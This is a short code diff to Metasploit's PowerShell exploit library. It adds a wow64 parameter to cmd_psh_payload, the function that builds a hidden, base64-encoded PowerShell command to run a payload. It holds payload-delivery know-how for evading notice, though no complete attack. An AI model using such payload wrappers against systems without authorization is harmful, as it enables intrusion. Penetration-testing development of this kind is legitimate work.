Add flexibility to lib

Author: Meatballs1

lib/msf/core/exploit/powershell.rb

@@ -131,7 +131,7 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
 	#
 	# Creates cmd script to execute psh payload
 	#
-	def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'])
+	def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
 		# Allow powershell 1.0 format
 		if old_psh
 			psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
@@ -146,7 +146,7 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'])
 			psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
 		end
 		# Determine appropriate architecture
-		ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
+		ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
 		# Wrap in hidden runtime
 		psh_payload = run_hidden_psh(psh_payload,ps_bin)
 		# Convert to base64 for -encodedcommand execution